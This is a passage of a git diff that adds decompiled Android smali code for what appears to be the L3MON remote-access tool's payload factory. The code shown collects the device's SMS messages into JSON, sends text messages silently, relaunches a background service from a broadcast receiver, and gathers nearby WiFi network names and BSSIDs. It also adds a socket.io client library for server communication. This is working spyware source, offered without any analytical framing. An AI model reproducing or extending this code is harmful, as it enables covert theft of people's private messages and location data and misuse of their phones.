+ invoke-interface {v0}, Landroid/database/Cursor;->moveToFirst()Z
+
+ move-result v1
+
+ if-eqz v1, :cond_1
+
+ .line 44
+ invoke-interface {v0, v11}, Landroid/database/Cursor;->getColumnIndexOrThrow(Ljava/lang/String;)I
+
+ move-result v1
+
+ invoke-interface {v0, v1}, Landroid/database/Cursor;->getString(I)Ljava/lang/String;
+
+ move-result-object v1
+
+ invoke-virtual {v1}, Ljava/lang/String;->toString()Ljava/lang/String;
+
+ move-result-object v1
+
+ .line 45
+ .local v1, "address":Ljava/lang/String;
+ invoke-virtual {v4, v11, v1}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
+
+ .line 46
+ invoke-interface {v0}, Landroid/database/Cursor;->close()V
+
+ goto :goto_1
+
+ .line 40
+ .end local v0 # "cur":Landroid/database/Cursor;
+ .end local v1 # "address":Ljava/lang/String;
+ .end local v13 # "recipientId":Ljava/lang/String;
+ .restart local v12 # "cur":Landroid/database/Cursor;
+ :cond_0
+ move-object/from16 v20, v0
+
+ move-object/from16 v21, v1
+
+ .line 50
+ .end local v10 # "threadid":Ljava/lang/String;
+ .end local v12 # "cur":Landroid/database/Cursor;
+ :cond_1
+ :goto_1
+ goto :goto_2
+
+ .line 51
+ :cond_2
+ move-object/from16 v20, v0
+
+ move-object/from16 v21, v1
+
+ invoke-interface {v7, v11}, Landroid/database/Cursor;->getColumnIndexOrThrow(Ljava/lang/String;)I
+
+ move-result v0
+
+ invoke-interface {v7, v0}, Landroid/database/Cursor;->getString(I)Ljava/lang/String;
+
+ move-result-object v0
+
+ invoke-virtual {v0}, Ljava/lang/String;->toString()Ljava/lang/String;
+
+ move-result-object v0
+
+ invoke-virtual {v4, v11, v0}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
+
+ .line 53
+ :goto_2
+ invoke-virtual {v5, v4}, Lorg/json/JSONArray;->put(Ljava/lang/Object;)Lorg/json/JSONArray;
+
+ .line 54
+ new-instance v0, Lorg/json/JSONObject;
+
+ invoke-direct {v0}, Lorg/json/JSONObject;->()V
+
+ move-object v4, v0
+
+ .line 56
+ invoke-interface {v7}, Landroid/database/Cursor;->moveToNext()Z
+
+ .line 30
+ add-int/lit8 v9, v9, 0x1
+
+ move-object/from16 v0, v20
+
+ move-object/from16 v1, v21
+
+ goto/16 :goto_0
+
+ .line 59
+ .end local v9 # "i":I
+ :cond_3
+ invoke-interface {v7}, Landroid/database/Cursor;->close()V
+
+ .line 61
+ const-string v0, "smslist"
+
+ invoke-virtual {v4, v0, v5}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
+ :try_end_1
+ .catch Ljava/lang/IllegalArgumentException; {:try_start_1 .. :try_end_1} :catch_1
+ .catch Lorg/json/JSONException; {:try_start_1 .. :try_end_1} :catch_0
+
+ .line 69
+ nop
+
+ .end local v6 # "act":Landroid/content/Context;
+ .end local v7 # "c":Landroid/database/Cursor;
+ .end local v8 # "uri":Landroid/net/Uri;
+ goto :goto_3
+
+ .line 66
+ :catch_0
+ move-exception v0
+
+ .line 68
+ .local v0, "e":Lorg/json/JSONException;
+ invoke-virtual {v0}, Lorg/json/JSONException;->printStackTrace()V
+
+ goto :goto_3
+
+ .line 63
+ .end local v0 # "e":Lorg/json/JSONException;
+ :catch_1
+ move-exception v0
+
+ .line 65
+ .local v0, "e":Ljava/lang/IllegalArgumentException;
+ invoke-virtual {v0}, Ljava/lang/IllegalArgumentException;->printStackTrace()V
+
+ .line 69
+ .end local v0 # "e":Ljava/lang/IllegalArgumentException;
+ nop
+
+ .line 70
+ :goto_3
+ return-object v4
+.end method
+
+.method public static sendSMS(Ljava/lang/String;Ljava/lang/String;)Z
+ .locals 6
+ .param p0, "phoneNo" # Ljava/lang/String;
+ .param p1, "msg" # Ljava/lang/String;
+
+ .line 75
+ :try_start_0
+ invoke-static {}, Landroid/telephony/SmsManager;->getDefault()Landroid/telephony/SmsManager;
+
+ move-result-object v0
+
+ .line 76
+ .local v0, "smsManager":Landroid/telephony/SmsManager;
+ const/4 v2, 0x0
+
+ const/4 v4, 0x0
+
+ const/4 v5, 0x0
+
+ move-object v1, p0
+
+ move-object v3, p1
+
+ invoke-virtual/range {v0 .. v5}, Landroid/telephony/SmsManager;->sendTextMessage(Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Landroid/app/PendingIntent;Landroid/app/PendingIntent;)V
+ :try_end_0
+ .catch Ljava/lang/Exception; {:try_start_0 .. :try_end_0} :catch_0
+
+ .line 77
+ const/4 v1, 0x1
+
+ return v1
+
+ .line 78
+ .end local v0 # "smsManager":Landroid/telephony/SmsManager;
+ :catch_0
+ move-exception v0
+
+ .line 79
+ .local v0, "ex":Ljava/lang/Exception;
+ invoke-virtual {v0}, Ljava/lang/Exception;->printStackTrace()V
+
+ .line 80
+ const/4 v1, 0x0
+
+ return v1
+.end method
diff --git a/server/app/factory/decompiled/smali/com/etechd/l3mon/ServiceReciever.smali b/server/app/factory/decompiled/smali/com/etechd/l3mon/ServiceReciever.smali
new file mode 100644
index 0000000..28267f6
--- /dev/null
+++ b/server/app/factory/decompiled/smali/com/etechd/l3mon/ServiceReciever.smali
@@ -0,0 +1,38 @@
+.class public Lcom/etechd/l3mon/ServiceReciever;
+.super Landroid/content/BroadcastReceiver;
+.source "ServiceReciever.java"
+
+
+# direct methods
+.method public constructor ()V
+ .locals 0
+
+ .line 8
+ invoke-direct {p0}, Landroid/content/BroadcastReceiver;->()V
+
+ return-void
+.end method
+
+
+# virtual methods
+.method public onReceive(Landroid/content/Context;Landroid/content/Intent;)V
+ .locals 3
+ .param p1, "context" # Landroid/content/Context;
+ .param p2, "intent" # Landroid/content/Intent;
+
+ .line 11
+ new-instance v0, Landroid/content/Intent;
+
+ invoke-virtual {p1}, Landroid/content/Context;->getApplicationContext()Landroid/content/Context;
+
+ move-result-object v1
+
+ const-class v2, Lcom/etechd/l3mon/MainService;
+
+ invoke-direct {v0, v1, v2}, Landroid/content/Intent;->(Landroid/content/Context;Ljava/lang/Class;)V
+
+ invoke-virtual {p1, v0}, Landroid/content/Context;->startService(Landroid/content/Intent;)Landroid/content/ComponentName;
+
+ .line 13
+ return-void
+.end method
diff --git a/server/app/factory/decompiled/smali/com/etechd/l3mon/WifiScanner.smali b/server/app/factory/decompiled/smali/com/etechd/l3mon/WifiScanner.smali
new file mode 100644
index 0000000..76b6237
--- /dev/null
+++ b/server/app/factory/decompiled/smali/com/etechd/l3mon/WifiScanner.smali
@@ -0,0 +1,160 @@
+.class public Lcom/etechd/l3mon/WifiScanner;
+.super Ljava/lang/Object;
+.source "WifiScanner.java"
+
+
+# direct methods
+.method public constructor ()V
+ .locals 0
+
+ .line 14
+ invoke-direct {p0}, Ljava/lang/Object;->()V
+
+ return-void
+.end method
+
+.method public static scan(Landroid/content/Context;)Lorg/json/JSONObject;
+ .locals 9
+ .param p0, "context" # Landroid/content/Context;
+
+ .line 18
+ :try_start_0
+ new-instance v0, Lorg/json/JSONObject;
+
+ invoke-direct {v0}, Lorg/json/JSONObject;->()V
+
+ .line 19
+ .local v0, "dRet":Lorg/json/JSONObject;
+ new-instance v1, Lorg/json/JSONArray;
+
+ invoke-direct {v1}, Lorg/json/JSONArray;->()V
+
+ .line 20
+ .local v1, "jSONArray":Lorg/json/JSONArray;
+ const-string v2, "wifi"
+
+ invoke-virtual {p0, v2}, Landroid/content/Context;->getSystemService(Ljava/lang/String;)Ljava/lang/Object;
+
+ move-result-object v2
+
+ check-cast v2, Landroid/net/wifi/WifiManager;
+
+ .line 21
+ .local v2, "wifiManager":Landroid/net/wifi/WifiManager;
+ if-eqz v2, :cond_1
+
+ invoke-virtual {v2}, Landroid/net/wifi/WifiManager;->isWifiEnabled()Z
+
+ move-result v3
+
+ if-eqz v3, :cond_1
+
+ .line 22
+ invoke-virtual {v2}, Landroid/net/wifi/WifiManager;->getScanResults()Ljava/util/List;
+
+ move-result-object v3
+
+ .line 23
+ .local v3, "scanResults":Ljava/util/List;
+ if-eqz v3, :cond_1
+
+ invoke-interface {v3}, Ljava/util/List;->size()I
+
+ move-result v4
+
+ if-lez v4, :cond_1
+
+ .line 24
+ const/4 v4, 0x0
+
+ .line 25
+ .local v4, "i":I
+ :goto_0
+ invoke-interface {v3}, Ljava/util/List;->size()I
+
+ move-result v5
+
+ if-ge v4, v5, :cond_0
+
+ const/16 v5, 0xa
+
+ if-ge v4, v5, :cond_0
+
+ .line 26
+ invoke-interface {v3, v4}, Ljava/util/List;->get(I)Ljava/lang/Object;
+
+ move-result-object v5
+
+ check-cast v5, Landroid/net/wifi/ScanResult;
+
+ .line 27
+ .local v5, "scanResult":Landroid/net/wifi/ScanResult;
+ new-instance v6, Lorg/json/JSONObject;
+
+ invoke-direct {v6}, Lorg/json/JSONObject;->()V
+
+ .line 28
+ .local v6, "jSONObject":Lorg/json/JSONObject;
+ const-string v7, "BSSID"
+
+ iget-object v8, v5, Landroid/net/wifi/ScanResult;->BSSID:Ljava/lang/String;
+
+ invoke-virtual {v6, v7, v8}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
+
+ .line 29
+ const-string v7, "SSID"
+
+ iget-object v8, v5, Landroid/net/wifi/ScanResult;->SSID:Ljava/lang/String;
+
+ invoke-virtual {v6, v7, v8}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
+
+ .line 30
+ invoke-virtual {v1, v6}, Lorg/json/JSONArray;->put(Ljava/lang/Object;)Lorg/json/JSONArray;
+
+ .line 31
+ nop
+
+ .end local v5 # "scanResult":Landroid/net/wifi/ScanResult;
+ .end local v6 # "jSONObject":Lorg/json/JSONObject;
+ add-int/lit8 v4, v4, 0x1
+
+ .line 32
+ goto :goto_0
+
+ .line 33
+ :cond_0
+ const-string v5, "networks"
+
+ invoke-virtual {v0, v5, v1}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
+ :try_end_0
+ .catch Ljava/lang/Throwable; {:try_start_0 .. :try_end_0} :catch_0
+
+ .line 34
+ return-object v0
+
+ .line 37
+ .end local v3 # "scanResults":Ljava/util/List;
+ .end local v4 # "i":I
+ :cond_1
+ return-object v0
+
+ .line 38
+ .end local v0 # "dRet":Lorg/json/JSONObject;
+ .end local v1 # "jSONArray":Lorg/json/JSONArray;
+ .end local v2 # "wifiManager":Landroid/net/wifi/WifiManager;
+ :catch_0
+ move-exception v0
+
+ .line 39
+ .local v0, "th":Ljava/lang/Throwable;
+ const-string v1, "MtaSDK"
+
+ const-string v2, "isWifiNet error"
+
+ invoke-static {v1, v2, v0}, Landroid/util/Log;->e(Ljava/lang/String;Ljava/lang/String;Ljava/lang/Throwable;)I
+
+ .line 40
+ const/4 v1, 0x0
+
+ return-object v1
+.end method
diff --git a/server/app/factory/decompiled/smali/io/socket/backo/Backoff.smali b/server/app/factory/decompiled/smali/io/socket/backo/Backoff.smali
new file mode 100644
index 0000000..a96d5a5
--- /dev/null
+++ b/server/app/factory/decompiled/smali/io/socket/backo/Backoff.smali
@@ -0,0 +1,238 @@
+.class public Lio/socket/backo/Backoff;
+.super Ljava/lang/Object;
+.source "Backoff.java"
+
+
+# instance fields
+.field private attempts:I
+
+.field private factor:I
+
+.field private jitter:D
+
+.field private max:J
+
+.field private ms:J
+
+
+# direct methods
+.method public constructor ()V
+ .locals 2
+
+ .line 14
+ invoke-direct {p0}, Ljava/lang/Object;->()V
+
+ .line 8
+ const-wide/16 v0, 0x64
+
+ iput-wide v0, p0, Lio/socket/backo/Backoff;->ms:J
+
+ .line 9
+ const-wide/16 v0, 0x2710
+
+ iput-wide v0, p0, Lio/socket/backo/Backoff;->max:J
+
+ .line 10
+ const/4 v0, 0x2
+
+ iput v0, p0, Lio/socket/backo/Backoff;->factor:I
+
+ .line 14
+ return-void
+.end method
+
+
+# virtual methods
+.method public duration()J
+ .locals 6
+
+ .line 17
+ iget-wide v0, p0, Lio/socket/backo/Backoff;->ms:J
+
+ invoke-static {v0, v1}, Ljava/math/BigInteger;->valueOf(J)Ljava/math/BigInteger;
+
+ move-result-object v0
+
+ iget v1, p0, Lio/socket/backo/Backoff;->factor:I
+
+ int-to-long v1, v1
+
+ .line 18
+ invoke-static {v1, v2}, Ljava/math/BigInteger;->valueOf(J)Ljava/math/BigInteger;
+
+ move-result-object v1
+
+ iget v2, p0, Lio/socket/backo/Backoff;->attempts:I
+
+ add-int/lit8 v3, v2, 0x1
+
+ iput v3, p0, Lio/socket/backo/Backoff;->attempts:I
+
+ invoke-virtual {v1, v2}, Ljava/math/BigInteger;->pow(I)Ljava/math/BigInteger;
+
+ move-result-object v1
+
+ invoke-virtual {v0, v1}, Ljava/math/BigInteger;->multiply(Ljava/math/BigInteger;)Ljava/math/BigInteger;
+
+ move-result-object v0
+
+ .line 19
+ .local v0, "ms":Ljava/math/BigInteger;
+ iget-wide v1, p0, Lio/socket/backo/Backoff;->jitter:D
+
+ const-wide/16 v3, 0x0
+
+ cmpl-double v5, v1, v3
+
+ if-eqz v5, :cond_1
+
+ .line 20
+ invoke-static {}, Ljava/lang/Math;->random()D
+
+ move-result-wide v1
+
+ .line 21
+ .local v1, "rand":D
+ invoke-static {v1, v2}, Ljava/math/BigDecimal;->valueOf(D)Ljava/math/BigDecimal;
+
+ move-result-object v3
+
+ iget-wide v4, p0, Lio/socket/backo/Backoff;->jitter:D
+
+ .line 22
+ invoke-static {v4, v5}, Ljava/math/BigDecimal;->valueOf(D)Ljava/math/BigDecimal;
+
+ move-result-object v4
+
+ invoke-virtual {v3, v4}, Ljava/math/BigDecimal;->multiply(Ljava/math/BigDecimal;)Ljava/math/BigDecimal;
+
+ move-result-object v3
+
+ new-instance v4, Ljava/math/BigDecimal;
+
+ invoke-direct {v4, v0}, Ljava/math/BigDecimal;->(Ljava/math/BigInteger;)V
+
+ .line 23
+ invoke-virtual {v3, v4}, Ljava/math/BigDecimal;->multiply(Ljava/math/BigDecimal;)Ljava/math/BigDecimal;
+
+ move-result-object v3
+
+ invoke-virtual {v3}, Ljava/math/BigDecimal;->toBigInteger()Ljava/math/BigInteger;
+
+ move-result-object v3
+
+ .line 24
+ .local v3, "deviation":Ljava/math/BigInteger;
+ const-wide/high16 v4, 0x4024000000000000L # 10.0
+
+ mul-double v4, v4, v1
+
+ invoke-static {v4, v5}, Ljava/lang/Math;->floor(D)D
+
+ move-result-wide v4
+
+ double-to-int v4, v4
+
+ and-int/lit8 v4, v4, 0x1
+
+ if-nez v4, :cond_0
+
+ invoke-virtual {v0, v3}, Ljava/math/BigInteger;->subtract(Ljava/math/BigInteger;)Ljava/math/BigInteger;
+
+ move-result-object v4
+
+ goto :goto_0
+
+ :cond_0
+ invoke-virtual {v0, v3}, Ljava/math/BigInteger;->add(Ljava/math/BigInteger;)Ljava/math/BigInteger;
+
+ move-result-object v4
+
+ :goto_0
+ move-object v0, v4
+
+ .line 26
+ .end local v1 # "rand":D
+ .end local v3 # "deviation":Ljava/math/BigInteger;
+ :cond_1
+ iget-wide v1, p0, Lio/socket/backo/Backoff;->max:J
+
+ invoke-static {v1, v2}, Ljava/math/BigInteger;->valueOf(J)Ljava/math/BigInteger;
+
+ move-result-object v1
+
+ invoke-virtual {v0, v1}, Ljava/math/BigInteger;->min(Ljava/math/BigInteger;)Ljava/math/BigInteger;
+
+ move-result-object v1
+
+ invoke-virtual {v1}, Ljava/math/BigInteger;->longValue()J
+
+ move-result-wide v1
+
+ return-wide v1
+.end method
+
+.method public getAttempts()I
+ .locals 1
+
+ .line 54
+ iget v0, p0, Lio/socket/backo/Backoff;->attempts:I
+
+ return v0
+.end method
+
+.method public reset()V
+ .locals 1
+
+ .line 30
+ const/4 v0, 0x0
+
+ iput v0, p0, Lio/socket/backo/Backoff;->attempts:I
+
+ .line 31
+ return-void
+.end method
+
+.method public setFactor(I)Lio/socket/backo/Backoff;
+ .locals 0
+ .param p1, "factor" # I
+
+ .line 44
+ iput p1, p0, Lio/socket/backo/Backoff;->factor:I
+
+ .line 45
+ return-object p0
+.end method
+
+.method public setJitter(D)Lio/socket/backo/Backoff;
+ .locals 0
+ .param p1, "jitter" # D
+
+ .line 49
+ iput-wide p1, p0, Lio/socket/backo/Backoff;->jitter:D
+
+ .line 50
+ return-object p0
+.end method
+
+.method public setMax(J)Lio/socket/backo/Backoff;
+ .locals 0
+ .param p1, "max" # J
+
+ .line 39
+ iput-wide p1, p0, Lio/socket/backo/Backoff;->max:J
+
+ .line 40
+ return-object p0
+.end method
+
+.method public setMin(J)Lio/socket/backo/Backoff;
+ .locals 0
+ .param p1, "min" # J
+
+ .line 34
+ iput-wide p1, p0, Lio/socket/backo/Backoff;->ms:J
+
+ .line 35
+ return-object p0
+.end method
diff --git a/server/app/factory/decompiled/smali/io/socket/client/Ack.smali b/server/app/factory/decompiled/smali/io/socket/client/Ack.smali
new file mode 100644
index 0000000..83d9790
--- /dev/null
+++ b/server/app/factory/decompiled/smali/io/socket/client/Ack.smali
@@ -0,0 +1,8 @@
+.class public interface abstract Lio/socket/client/Ack;
+.super Ljava/lang/Object;
+.source "Ack.java"
+
+
+# virtual methods
+.method public varargs abstract call([Ljava/lang/Object;)V
+.end method
diff --git a/server/app/factory/decompiled/smali/io/socket/client/IO$Options.smali b/server/app/factory/decompiled/smali/io/socket/client/IO$Options.smali
new file mode 100644
index 0000000..33322d8
--- /dev/null
+++ b/server/app/factory/decompiled/smali/io/socket/client/IO$Options.smali
@@ -0,0 +1,36 @@
+.class public Lio/socket/client/IO$Options;
+.super Lio/socket/client/Manager$Options;
+.source "IO.java"
+
+
+# annotations
+.annotation system Ldalvik/annotation/EnclosingClass;
+ value = Lio/socket/client/IO;
+.end annotation
+
+.annotation system Ldalvik/annotation/InnerClass;
+ accessFlags = 0x9
+ name = "Options"
+.end annotation
+
+
+# instance fields
+.field public forceNew:Z
+
+.field public multiplex:Z
+
+
+# direct methods
+.method public constructor ()V
+ .locals 1
+
+ .line 89
+ invoke-direct {p0}, Lio/socket/client/Manager$Options;->()V
+
+ .line 96
+ const/4 v0, 0x1
+
+ iput-boolean v0, p0, Lio/socket/client/IO$Options;->multiplex:Z
+
+ return-void
+.end method
diff --git a/server/app/factory/decompiled/smali/io/socket/client/IO.smali b/server/app/factory/decompiled/smali/io/socket/client/IO.smali
new file mode 100644
index 0000000..f8ed59c
--- /dev/null
+++ b/server/app/factory/decompiled/smali/io/socket/client/IO.smali
@@ -0,0 +1,359 @@
+.class public Lio/socket/client/IO;
+.super Ljava/lang/Object;
+.source "IO.java"
+
+
+# annotations
+.annotation system Ldalvik/annotation/MemberClasses;
+ value = {
+ Lio/socket/client/IO$Options;
+ }
+.end annotation
+
+
+# static fields
+.field private static final logger:Ljava/util/logging/Logger;
+
+.field private static final managers:Ljava/util/concurrent/ConcurrentHashMap;
+ .annotation system Ldalvik/annotation/Signature;
+ value = {
+ "Ljava/util/concurrent/ConcurrentHashMap<",
+ "Ljava/lang/String;",
+ "Lio/socket/client/Manager;",
+ ">;"
+ }
+ .end annotation
+.end field
+
+.field public static protocol:I
+
+
+# direct methods
+.method static constructor ()V
+ .locals 1
+
+ .line 17
+ const-class v0, Lio/socket/client/IO;
+
+ invoke-virtual {v0}, Ljava/lang/Class;->getName()Ljava/lang/String;
+
+ move-result-object v0
+
+ invoke-static {v0}, Ljava/util/logging/Logger;->getLogger(Ljava/lang/String;)Ljava/util/logging/Logger;
+
+ move-result-object v0
+
+ sput-object v0, Lio/socket/client/IO;->logger:Ljava/util/logging/Logger;
+
+ .line 19
+ new-instance v0, Ljava/util/concurrent/ConcurrentHashMap;
+
+ invoke-direct {v0}, Ljava/util/concurrent/ConcurrentHashMap;->()V
+
+ sput-object v0, Lio/socket/client/IO;->managers:Ljava/util/concurrent/ConcurrentHashMap;
+
+ .line 24
+ sget v0, Lio/socket/parser/Parser;->protocol:I
+
+ sput v0, Lio/socket/client/IO;->protocol:I
+
+ return-void
+.end method
+
+.method private constructor ()V
+ .locals 0
+
+ .line 34
+ invoke-direct {p0}, Ljava/lang/Object;->()V
+
+ return-void
+.end method
+
+.method public static setDefaultHostnameVerifier(Ljavax/net/ssl/HostnameVerifier;)V
+ .locals 0
+ .param p0, "hostnameVerifier" # Ljavax/net/ssl/HostnameVerifier;
+
+ .line 31
+ sput-object p0, Lio/socket/client/Manager;->defaultHostnameVerifier:Ljavax/net/ssl/HostnameVerifier;
+
+ .line 32
+ return-void
+.end method
+
+.method public static setDefaultSSLContext(Ljavax/net/ssl/SSLContext;)V
+ .locals 0
+ .param p0, "sslContext" # Ljavax/net/ssl/SSLContext;
+
+ .line 27
+ sput-object p0, Lio/socket/client/Manager;->defaultSSLContext:Ljavax/net/ssl/SSLContext;
+
+ .line 28
+ return-void
+.end method
+
+.method public static socket(Ljava/lang/String;)Lio/socket/client/Socket;
+ .locals 1
+ .param p0, "uri" # Ljava/lang/String;
+ .annotation system Ldalvik/annotation/Throws;
+ value = {
+ Ljava/net/URISyntaxException;
+ }
+ .end annotation
+
+ .line 37
+ const/4 v0, 0x0
+
+ invoke-static {p0, v0}, Lio/socket/client/IO;->socket(Ljava/lang/String;Lio/socket/client/IO$Options;)Lio/socket/client/Socket;
+
+ move-result-object v0
+
+ return-object v0
+.end method
+
+.method public static socket(Ljava/lang/String;Lio/socket/client/IO$Options;)Lio/socket/client/Socket;
+ .locals 1
+ .param p0, "uri" # Ljava/lang/String;
+ .param p1, "opts" # Lio/socket/client/IO$Options;
+ .annotation system Ldalvik/annotation/Throws;
+ value = {
+ Ljava/net/URISyntaxException;
+ }
+ .end annotation
+
+ .line 41
+ new-instance v0, Ljava/net/URI;
+
+ invoke-direct {v0, p0}, Ljava/net/URI;->(Ljava/lang/String;)V
+
+ invoke-static {v0, p1}, Lio/socket/client/IO;->socket(Ljava/net/URI;Lio/socket/client/IO$Options;)Lio/socket/client/Socket;
+
+ move-result-object v0
+
+ return-object v0
+.end method
+
+.method public static socket(Ljava/net/URI;)Lio/socket/client/Socket;
+ .locals 1
+ .param p0, "uri" # Ljava/net/URI;
+
+ .line 45
+ const/4 v0, 0x0
+
+ invoke-static {p0, v0}, Lio/socket/client/IO;->socket(Ljava/net/URI;Lio/socket/client/IO$Options;)Lio/socket/client/Socket;
+
+ move-result-object v0
+
+ return-object v0
+.end method
+
+.method public static socket(Ljava/net/URI;Lio/socket/client/IO$Options;)Lio/socket/client/Socket;
+ .locals 9
+ .param p0, "uri" # Ljava/net/URI;
+ .param p1, "opts" # Lio/socket/client/IO$Options;
+
+ .line 56
+ if-nez p1, :cond_0
+
+ .line 57
+ new-instance v0, Lio/socket/client/IO$Options;
+
+ invoke-direct {v0}, Lio/socket/client/IO$Options;->()V
+
+ move-object p1, v0
+
+ .line 60
+ :cond_0
+ invoke-static {p0}, Lio/socket/client/Url;->parse(Ljava/net/URI;)Ljava/net/URL;
+
+ move-result-object v0
+
+ .line 63
+ .local v0, "parsed":Ljava/net/URL;
+ :try_start_0
+ invoke-virtual {v0}, Ljava/net/URL;->toURI()Ljava/net/URI;
+
+ move-result-object v1
+ :try_end_0
+ .catch Ljava/net/URISyntaxException; {:try_start_0 .. :try_end_0} :catch_0
+
+ .line 66
+ .local v1, "source":Ljava/net/URI;
+ nop
+
+ .line 67
+ invoke-static {v0}, Lio/socket/client/Url;->extractId(Ljava/net/URL;)Ljava/lang/String;
+
+ move-result-object v2
+
+ .line 68
+ .local v2, "id":Ljava/lang/String;
+ invoke-virtual {v0}, Ljava/net/URL;->getPath()Ljava/lang/String;
+
+ move-result-object v3
+
+ .line 69
+ .local v3, "path":Ljava/lang/String;
+ sget-object v4, Lio/socket/client/IO;->managers:Ljava/util/concurrent/ConcurrentHashMap;
+
+ invoke-virtual {v4, v2}, Ljava/util/concurrent/ConcurrentHashMap;->containsKey(Ljava/lang/Object;)Z
+
+ move-result v4
+
+ const/4 v5, 0x1
+
+ const/4 v6, 0x0
+
+ if-eqz v4, :cond_1
+
+ sget-object v4, Lio/socket/client/IO;->managers:Ljava/util/concurrent/ConcurrentHashMap;
+
+ .line 70
+ invoke-virtual {v4, v2}, Ljava/util/concurrent/ConcurrentHashMap;->get(Ljava/lang/Object;)Ljava/lang/Object;
+
+ move-result-object v4
+
+ check-cast v4, Lio/socket/client/Manager;
+
+ iget-object v4, v4, Lio/socket/client/Manager;->nsps:Ljava/util/concurrent/ConcurrentHashMap;
+
+ invoke-virtual {v4, v3}, Ljava/util/concurrent/ConcurrentHashMap;->containsKey(Ljava/lang/Object;)Z
+
+ move-result v4
+
+ if-eqz v4, :cond_1
+
+ const/4 v4, 0x1
+
+ goto :goto_0
+
+ :cond_1
+ const/4 v4, 0x0
+
+ .line 71
+ .local v4, "sameNamespace":Z
+ :goto_0
+ iget-boolean v7, p1, Lio/socket/client/IO$Options;->forceNew:Z
+
+ if-nez v7, :cond_3
+
+ iget-boolean v7, p1, Lio/socket/client/IO$Options;->multiplex:Z
+
+ if-eqz v7, :cond_3
+
+ if-eqz v4, :cond_2
+
+ goto :goto_1
+
+ :cond_2
+ const/4 v7, 0x0
+
+ goto :goto_2
+
+ :cond_3
+ :goto_1
+ const/4 v7, 0x1
+
+ .line 74
+ .local v7, "newConnection":Z
+ :goto_2
+ if-eqz v7, :cond_4
+
+ .line 75
+ sget-object v8, Lio/socket/client/IO;->logger:Ljava/util/logging/Logger;
+
+ new-array v5, v5, [Ljava/lang/Object;
+
+ aput-object v1, v5, v6
+
+ const-string v6, "ignoring socket cache for %s"
+
+ invoke-static {v6, v5}, Ljava/lang/String;->format(Ljava/lang/String;[Ljava/lang/Object;)Ljava/lang/String;
+
+ move-result-object v5
+
+ invoke-virtual {v8, v5}, Ljava/util/logging/Logger;->fine(Ljava/lang/String;)V
+
+ .line 76
+ new-instance v5, Lio/socket/client/Manager;
+
+ invoke-direct {v5, v1, p1}, Lio/socket/client/Manager;->(Ljava/net/URI;Lio/socket/client/Manager$Options;)V
+
+ .local v5, "io":Lio/socket/client/Manager;
+ goto :goto_3
+
+ .line 78
+ .end local v5 # "io":Lio/socket/client/Manager;
+ :cond_4
+ sget-object v8, Lio/socket/client/IO;->managers:Ljava/util/concurrent/ConcurrentHashMap;
+
+ invoke-virtual {v8, v2}, Ljava/util/concurrent/ConcurrentHashMap;->containsKey(Ljava/lang/Object;)Z
+
+ move-result v8
+
+ if-nez v8, :cond_5
+
+ .line 79
+ sget-object v8, Lio/socket/client/IO;->logger:Ljava/util/logging/Logger;
+
+ new-array v5, v5, [Ljava/lang/Object;
+
+ aput-object v1, v5, v6
+
+ const-string v6, "new io instance for %s"
+
+ invoke-static {v6, v5}, Ljava/lang/String;->format(Ljava/lang/String;[Ljava/lang/Object;)Ljava/lang/String;
+
+ move-result-object v5
+
+ invoke-virtual {v8, v5}, Ljava/util/logging/Logger;->fine(Ljava/lang/String;)V
+
+ .line 80
+ sget-object v5, Lio/socket/client/IO;->managers:Ljava/util/concurrent/ConcurrentHashMap;
+
+ new-instance v6, Lio/socket/client/Manager;
+
+ invoke-direct {v6, v1, p1}, Lio/socket/client/Manager;->(Ljava/net/URI;Lio/socket/client/Manager$Options;)V
+
+ invoke-virtual {v5, v2, v6}, Ljava/util/concurrent/ConcurrentHashMap;->putIfAbsent(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
+
+ .line 82
+ :cond_5
+ sget-object v5, Lio/socket/client/IO;->managers:Ljava/util/concurrent/ConcurrentHashMap;
+
+ invoke-virtual {v5, v2}, Ljava/util/concurrent/ConcurrentHashMap;->get(Ljava/lang/Object;)Ljava/lang/Object;
+
+ move-result-object v5
+
+ check-cast v5, Lio/socket/client/Manager;
+
+ .line 85
+ .restart local v5 # "io":Lio/socket/client/Manager;
+ :goto_3
+ invoke-virtual {v0}, Ljava/net/URL;->getPath()Ljava/lang/String;
+
+ move-result-object v6
+
+ invoke-virtual {v5, v6}, Lio/socket/client/Manager;->socket(Ljava/lang/String;)Lio/socket/client/Socket;
+
+ move-result-object v6
+
+ return-object v6
+
+ .line 64
+ .end local v1 # "source":Ljava/net/URI;
+ .end local v2 # "id":Ljava/lang/String;
+ .end local v3 # "path":Ljava/lang/String;
+ .end local v4 # "sameNamespace":Z
+ .end local v5 # "io":Lio/socket/client/Manager;
+ .end local v7 # "newConnection":Z
+ :catch_0
+ move-exception v1
+
+ .line 65
+ .local v1, "e":Ljava/net/URISyntaxException;
+ new-instance v2, Ljava/lang/RuntimeException;
+
+ invoke-direct {v2, v1}, Ljava/lang/RuntimeException;->(Ljava/lang/Throwable;)V
+
+ throw v2
+.end method
diff --git a/server/app/factory/decompiled/smali/io/socket/client/Manager$1$1.smali b/server/app/factory/decompiled/smali/io/socket/client/Manager$1$1.smali
new file mode 100644
index 0000000..5ee09fc
--- /dev/null
+++ b/server/app/factory/decompiled/smali/io/socket/client/Manager$1$1.smali
@@ -0,0 +1,56 @@
+.class Lio/socket/client/Manager$1$1;
+.super Ljava/lang/Object;
+.source "Manager.java"
+
+# interfaces
+.implements Lio/socket/emitter/Emitter$Listener;
+
+
+# annotations
+.annotation system Ldalvik/annotation/EnclosingMethod;
+ value = Lio/socket/client/Manager$1;->run()V
+.end annotation
+
+.annotation system Ldalvik/annotation/InnerClass;
+ accessFlags = 0x0
+ name = null
+.end annotation
+
+
+# instance fields
+.field final synthetic this$1:Lio/socket/client/Manager$1;
+
+.field final synthetic val$self:Lio/socket/client/Manager;
+
+
+# direct methods
+.method constructor (Lio/socket/client/Manager$1;Lio/socket/client/Manager;)V
+ .locals 0
+ .param p1, "this$1" # Lio/socket/client/Manager$1;
